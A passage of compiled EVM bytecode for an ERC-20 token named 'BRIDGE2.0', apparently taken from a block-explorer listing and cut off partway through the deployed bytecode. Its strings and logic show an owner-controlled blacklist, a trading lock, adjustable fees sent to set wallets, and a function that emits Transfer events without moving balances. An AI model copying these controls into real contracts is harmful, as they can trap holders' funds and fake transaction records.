905095945050505050565b6000610c7c848484611c7b565b610d3d84610c88611aaa565b610d388560405180606001604052806028815260200161442d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610cee611aaa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fe9092919063ffffffff16565b611ab2565b600190509392505050565b60185481565b60006002905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d8561130c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610dd957506032610dc3610a11565b610dcd9190613a6d565b610dd633610ff6565b10155b610e18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0f90613aea565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610e7b611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eff9061387f565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f66611aaa565b73ffffffffffffffffffffffffffffffffffffffff161480610fdc5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fc4611aaa565b73ffffffffffffffffffffffffffffffffffffffff16145b610fe557600080fd5b6000479050610ff381612562565b50565b6000611040600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ce565b9050919050565b61104f611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d39061387f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6111a2611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461122f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112269061387f565b60405180910390fd5b8060168190555050565b611241611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c59061387f565b60405180910390fd5b670de0b6b3a7640000601681905550670de0b6b3a7640000601781905550565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600981526020017f425249444745322e300000000000000000000000000000000000000000000000815250905090565b611380611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461140d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114049061387f565b60405180910390fd5b8060188190555050565b600061142b611424611aaa565b8484611c7b565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611496611aaa565b73ffffffffffffffffffffffffffffffffffffffff16148061150c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166114f4611aaa565b73ffffffffffffffffffffffffffffffffffffffff16145b61151557600080fd5b600061152030610ff6565b905061152b8161263c565b50565b611536611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ba9061387f565b60405180910390fd5b60005b838390508110156116625781600560008686858181106115e9576115e861389f565b5b90506020020160208101906115fe919061361e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061165a906138fd565b9150506115c6565b50505050565b611670611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f49061387f565b60405180910390fd5b6019828561170b9190613b0a565b111561171657600080fd5b606381846117249190613b0a565b111561172f57600080fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161183791906133bd565b60405180910390a3600190509392505050565b611852611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d69061387f565b60405180910390fd5b8060178190555050565b6118f1611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461197e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119759061387f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036119ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e490613bb0565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1890613c42565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b8790613cd4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c6e91906133bd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ce190613d66565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5090613df8565b60405180910390fd5b60008111611d9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9390613e8a565b60405180910390fd5b611da461130c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e125750611de261130c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121fd57601560149054906101000a900460ff16611ea157611e3361130c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9790613f1c565b60405180910390fd5b5b601654811115611ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611edd90613f88565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f8a5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611fc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc09061401a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612076576017548161202b84610ff6565b6120359190613b0a565b10612075576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206c906140ac565b60405180910390fd5b5b600061208130610ff6565b905060006018548210159050601654821061209c5760165491505b8080156120b4575060158054906101000a900460ff16155b801561210e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156121265750601560169054906101000a900460ff165b801561217c5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121d25750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121fa576121e08261263c565b600047905060008111156121f8576121f747612562565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122a45750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806123575750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156123565750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561236557600090506124ec565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156124105750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561242857600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156124d35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156124eb57600a54600c81905550600b54600d819055505b5b6124f8848484846128b3565b50505050565b6000838311158290612546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253d9190613266565b60405180910390fd5b506000838561255591906140cc565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156125ca573d6000803e3d6000fd5b5050565b6000600654821115612615576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260c90614172565b60405180910390fd5b600061261f6128e0565b9050612634818461290b90919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561267357612672612ffd565b5b6040519080825280602002602001820160405280156126a15781602001602082028036833780820191505090505b50905030816000815181106126b9576126b861389f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612760573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061278491906141a7565b816001815181106127985761279761389f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127ff30601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611ab2565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612863959493929190614292565b600060405180830381600087803b15801561287d57600080fd5b505af1158015612891573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806128c1576128c0612955565b5b6128cc848484612992565b806128da576128d9612b5d565b5b50505050565b60008060006128ed612b71565b91509150612904818361290b90919063ffffffff16565b9250505090565b600061294d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612bd0565b905092915050565b6000600c5414801561296957506000600d54145b61299057600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806129a487612c33565b955095509550955095509550612a0286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c9b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a9785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ae381612d43565b612aed8483612e00565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612b4a91906133bd565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612ba5670de0b6b3a764000060065461290b90919063ffffffff16565b821015612bc357600654670de0b6b3a7640000935093505050612bcc565b81819350935050505b9091565b60008083118290612c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c0e9190613266565b60405180910390fd5b5060008385612c269190613a6d565b9050809150509392505050565b6000806000806000806000806000612c508a600c54600d54612e3a565b9250925092506000612c606128e0565b90506000806000612c738e878787612ed0565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612cdd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124fe565b905092915050565b6000808284612cf49190613b0a565b905083811015612d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3090614338565b60405180910390fd5b8091505092915050565b6000612d4d6128e0565b90506000612d648284612f5990919063ffffffff16565b9050612db881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ce590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612e1582600654612c9b90919063ffffffff16565b600681905550612e3081600754612ce590919063ffffffff16565b6007819055505050565b600080600080612e666064612e58888a612f5990919063ffffffff16565b61290b90919063ffffffff16565b90506000612e906064612e82888b612f5990919063ffffffff16565b61290b90919063ffffffff16565b90506000612eb982612eab858c612c9b90919063ffffffff16565b612c9b90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ee98589612f5990919063ffffffff16565b90506000612f008689612f5990919063ffffffff16565b90506000612f178789612f5990919063ffffffff16565b90506000612f4082612f328587612c9b90919063ffffffff16565b612c9b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808303612f6b5760009050612fcd565b60008284612f799190614358565b9050828482612f889190613a6d565b14612fc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fbf9061440c565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61303582612fec565b810181811067ffffffffffffffff8211171561305457613053612ffd565b5b80604052505050565b6000613067612fd3565b9050613073828261302c565b919050565b600067ffffffffffffffff82111561309357613092612ffd565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006130d4826130a9565b9050919050565b6130e4816130c9565b81146130ef57600080fd5b50565b600081359050613101816130db565b92915050565b600061311a61311584613078565b61305d565b9050808382526020820190506020840283018581111561313d5761313c6130a4565b5b835b81811015613166578061315288826130f2565b84526020840193505060208101905061313f565b5050509392505050565b600082601f83011261318557613184612fe7565b5b8135613195848260208601613107565b91505092915050565b6000602082840312156131b4576131b3612fdd565b5b600082013567ffffffffffffffff8111156131d2576131d1612fe2565b5b6131de84828501613170565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613221578082015181840152602081019050613206565b60008484015250505050565b6000613238826131e7565b61324281856131f2565b9350613252818560208601613203565b61325b81612fec565b840191505092915050565b60006020820190508181036000830152613280818461322d565b905092915050565b6000819050919050565b61329b81613288565b81146132a657600080fd5b50565b6000813590506132b881613292565b92915050565b600080604083850312156132d5576132d4612fdd565b5b60006132e3858286016130f2565b92505060206132f4858286016132a9565b9150509250929050565b60008115159050919050565b613313816132fe565b82525050565b600060208201905061332e600083018461330a565b92915050565b6000819050919050565b600061335961335461334f846130a9565b613334565b6130a9565b9050919050565b600061336b8261333e565b9050919050565b600061337d82613360565b9050919050565b61338d81613372565b82525050565b60006020820190506133a86000830184613384565b92915050565b6133b781613288565b82525050565b60006020820190506133d260008301846133ae565b92915050565b600067ffffffffffffffff8211156133f3576133f2612ffd565b5b602082029050602081019050919050565b6000613417613412846133d8565b61305d565b9050808382526020820190506020840283018581111561343a576134396130a4565b5b835b81811015613463578061344f88826132a9565b84526020840193505060208101905061343c565b5050509392505050565b600082601f83011261348257613481612fe7565b5b8135613492848260208601613404565b91505092915050565b600080600080600060a086880312156134b7576134b6612fdd565b5b60006134c5888289016130f2565b955050602086013567ffffffffffffffff8111156134e6576134e5612fe2565b5b6134f288828901613170565b945050604086013567ffffffffffffffff81111561351357613512612fe2565b5b61351f8882890161346d565b935050606086013567ffffffffffffffff8111156135405761353f612fe2565b5b61354c8882890161346d565b925050608061355d888289016130f2565b9150509295509295909350565b60008060006060848603121561358357613582612fdd565b5b6000613591868287016130f2565b93505060206135a2868287016130f2565b92505060406135b3868287016132a9565b9150509250925092565b600060ff82169050919050565b6135d3816135bd565b82525050565b60006020820190506135ee60008301846135ca565b92915050565b6135fd816130c9565b82525050565b600060208201905061361860008301846135f4565b92915050565b60006020828403121561363457613633612fdd565b5b6000613642848285016130f2565b91505092915050565b613654816132fe565b811461365f57600080fd5b50565b6000813590506136718161364b565b92915050565b60006020828403121561368d5761368c612fdd565b5b600061369b84828501613662565b91505092915050565b6000602082840312156136ba576136b9612fdd565b5b60006136c8848285016132a9565b91505092915050565b600080fd5b60008083601f8401126136ec576136eb612fe7565b5b8235905067ffffffffffffffff811115613709576137086136d1565b5b602083019150836020820283011115613725576137246130a4565b5b9250929050565b60008060006040848603121561374557613744612fdd565b5b600084013567ffffffffffffffff81111561376357613762612fe2565b5b61376f868287016136d6565b9350935050602061378286828701613662565b9150509250925092565b600080600080608085870312156137a6576137a5612fdd565b5b60006137b4878288016132a9565b94505060206137c5878288016132a9565b93505060406137d6878288016132a9565b92505060606137e7878288016132a9565b91505092959194509250565b6000806040838503121561380a57613809612fdd565b5b6000613818858286016130f2565b9250506020613829858286016130f2565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006138696020836131f2565b915061387482613833565b602082019050919050565b600060208201905081810360008301526138988161385c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061390882613288565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361393a576139396138ce565b5b600182019050919050565b6000819050919050565b600061396a61396561396084613945565b613334565b613288565b9050919050565b61397a8161394f565b82525050565b600060808201905061399560008301876133ae565b6139a26020830186613971565b6139af6040830185613971565b6139bc60608301846133ae565b95945050505050565b60006060820190506139da60008301866135f4565b6139e760208301856135f4565b6139f460408301846133ae565b949350505050565b600081519050613a0b8161364b565b92915050565b600060208284031215613a2757613a26612fdd565b5b6000613a35848285016139fc565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613a7882613288565b9150613a8383613288565b925082613a9357613a92613a3e565b5b828204905092915050565b7f206f776e65722000000000000000000000000000000000000000000000000000600082015250565b6000613ad46007836131f2565b9150613adf82613a9e565b602082019050919050565b60006020820190508181036000830152613b0381613ac7565b9050919050565b6000613b1582613288565b9150613b2083613288565b9250828201905080821115613b3857613b376138ce565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613b9a6026836131f2565b9150613ba582613b3e565b604082019050919050565b60006020820190508181036000830152613bc981613b8d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613c2c6024836131f2565b9150613c3782613bd0565b604082019050919050565b60006020820190508181036000830152613c5b81613c1f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613cbe6022836131f2565b9150613cc982613c62565b604082019050919050565b60006020820190508181036000830152613ced81613cb1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613d506025836131f2565b9150613d5b82613cf4565b604082019050919050565b60006020820190508181036000830152613d7f81613d43565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613de26023836131f2565b9150613ded82613d86565b604082019050919050565b60006020820190508181036000830152613e1181613dd5565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613e746029836131f2565b9150613e7f82613e18565b604082019050919050565b60006020820190508181036000830152613ea381613e67565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613f06603f836131f2565b9150613f1182613eaa565b604082019050919050565b60006020820190508181036000830152613f3581613ef9565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b6000613f72601c836131f2565b9150613f7d82613f3c565b602082019050919050565b60006020820190508181036000830152613fa181613f65565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b60006140046023836131f2565b915061400f82613fa8565b604082019050919050565b6000602082019050818103600083015261403381613ff7565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b60006140966023836131f2565b91506140a18261403a565b604082019050919050565b600060208201905081810360008301526140c581614089565b9050919050565b60006140d782613288565b91506140e283613288565b92508282039050818111156140fa576140f96138ce565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b600061415c602a836131f2565b915061416782614100565b604082019050919050565b6000602082019050818103600083015261418b8161414f565b9050919050565b6000815190506141a1816130db565b92915050565b6000602082840312156141bd576141bc612fdd565b5b60006141cb84828501614192565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614209816130c9565b82525050565b600061421b8383614200565b60208301905092915050565b6000602082019050919050565b600061423f826141d4565b61424981856141df565b9350614254836141f0565b8060005b8381101561428557815161426c888261420f565b975061427783614227565b925050600181019050614258565b5085935050505092915050565b600060a0820190506142a760008301886133ae565b6142b46020830187613971565b81810360408301526142c68186614234565b90506142d560608301856135f4565b6142e260808301846133ae565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614322601b836131f2565b915061432d826142ec565b602082019050919050565b6000602082019050818103600083015261435181614315565b9050919050565b600061436382613288565b915061436e83613288565b925082820261437c81613288565b91508282048414831517614393576143926138ce565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006143f66021836131f2565b91506144018261439a565b604082019050919050565b60006020820190508181036000830152614425816143e9565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df8f73b573bfc3038717f1ca7efb2a512d64db0004904c8b3bcbb2a60c68f88264736f6c63430008120033
Deployed Bytecode
0x6080604052600436106101f15760003560e01c806374010ece1161010d578063a9059cbb116100a0578063c6616ba11161006f578063c6616ba1146106bf578063dd62ed3e146106e8578063e156b1b614610725578063ea1644d514610762578063f2fde38b1461078b576101f8565b8063a9059cbb14610605578063bfd7928414610642578063c3c8cd801461067f578063c492f04614610696576101f8565b80638da5cb5b116100dc5780638da5cb5b1461055b5780638f9a55c01461058657806395d89b41146105b157806398a5c315146105dc576101f8565b806374010ece146104b3578063751039fc146104dc5780637d1db4a5146104f35780637f2feddc1461051e576101f8565b80632fd689e3116101855780636d8aa8f8116101545780636d8aa8f81461041f5780636fc3eaec1461044857806370a082311461045f578063715018a61461049c576101f8565b80632fd689e314610375578063313ce567146103a057806349bd5a5e146103cb5780636b999053146103f6576101f8565b80631694505e116101c15780631694505e146102a557806318160ddd146102d05780631ae1ffbc146102fb57806323b872dd14610338576101f8565b8062b8cf2a146101fd57806306fdde0314610226578063095ea7b3146102515780630bd05b691461028e576101f8565b366101f857005b600080fd5b34801561020957600080fd5b50610224600480360381019061021f919061319e565b6107b4565b005b34801561023257600080fd5b5061023b6108de565b6040516102489190613266565b60405180910390f35b34801561025d57600080fd5b50610278600480360381019061027391906132be565b61091b565b6040516102859190613319565b60405180910390f35b34801561029a57600080fd5b506102a3610939565b005b3480156102b157600080fd5b506102ba6109eb565b6040516102c79190613393565b60405180910390f35b3480156102dc57600080fd5b506102e5610a11565b6040516102f291906133bd565b60405180910390f35b34801561030757600080fd5b50610322600480360381019061031d919061349b565b610a21565b60405161032f9190613319565b60405180910390f35b34801561034457600080fd5b5061035f600480360381019061035a919061356a565b610c6f565b60405161036c9190613319565b60405180910390f35b34801561038157600080fd5b5061038a610d48565b60405161039791906133bd565b60405180910390f35b3480156103ac57600080fd5b506103b5610d4e565b6040516103c291906135d9565b60405180910390f35b3480156103d757600080fd5b506103e0610d57565b6040516103ed9190613603565b60405180910390f35b34801561040257600080fd5b5061041d6004803603810190610418919061361e565b610d7d565b005b34801561042b57600080fd5b5061044660048036038101906104419190613677565b610e73565b005b34801561045457600080fd5b5061045d610f25565b005b34801561046b57600080fd5b506104866004803603810190610481919061361e565b610ff6565b60405161049391906133bd565b60405180910390f35b3480156104a857600080fd5b506104b1611047565b005b3480156104bf57600080fd5b506104da60048036038101906104d591906136a4565b61119a565b005b3480156104e857600080fd5b506104f1611239565b005b3480156104ff57600080fd5b506105086112ee565b60405161051591906133bd565b60405180910390f35b34801561052a57600080fd5b506105456004803603810190610540919061361e565b6112f4565b60405161055291906133bd565b60405180910390f35b34801561056757600080fd5b5061057061130c565b60405161057d9190613603565b60405180910390f35b34801561059257600080fd5b5061059b611335565b6040516105a891906133bd565b60405180910390f35b3480156105bd57600080fd5b506105c661133b565b6040516105d39190613266565b60405180910390f35b3480156105e857600080fd5b5061060360048036038101906105fe91906136a4565b611378565b005b34801561061157600080fd5b5061062c600480360381019061062791906132be565b611417565b6040516106399190613319565b60405180910390f35b34801561064e57600080fd5b506106696004803603810190610664919061361e565b611435565b6040516106769190613319565b60405180910390f35b34801561068b57600080fd5b50610694611455565b005b3480156106a257600080fd5b506106bd60048036038101906106b8919061372c565b61152e565b005b3480156106cb57600080fd5b506106e660048036038101906106e1919061378c565b611668565b005b3480156106f457600080fd5b5061070f600480360381019061070a91906137f3565b611751565b60405161071c91906133bd565b60405180910390f35b34801561073157600080fd5b5061074c6004803603810190610747919061356a565b6117d8565b6040516107599190613319565b60405180910390f35b34801561076e57600080fd5b50610789600480360381019061078491906136a4565b61184a565b005b34801561079757600080fd5b506107b260048036038101906107ad919061361e565b6118e9565b005b6107bc611aaa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610849576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108409061387f565b60405180910390fd5b60005b81518110156108da5760016010600084848151811061086e5761086d61389f565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806108d2906138fd565b91505061084c565b5050565b60606040518060400160405280600981526020017f425249444745322e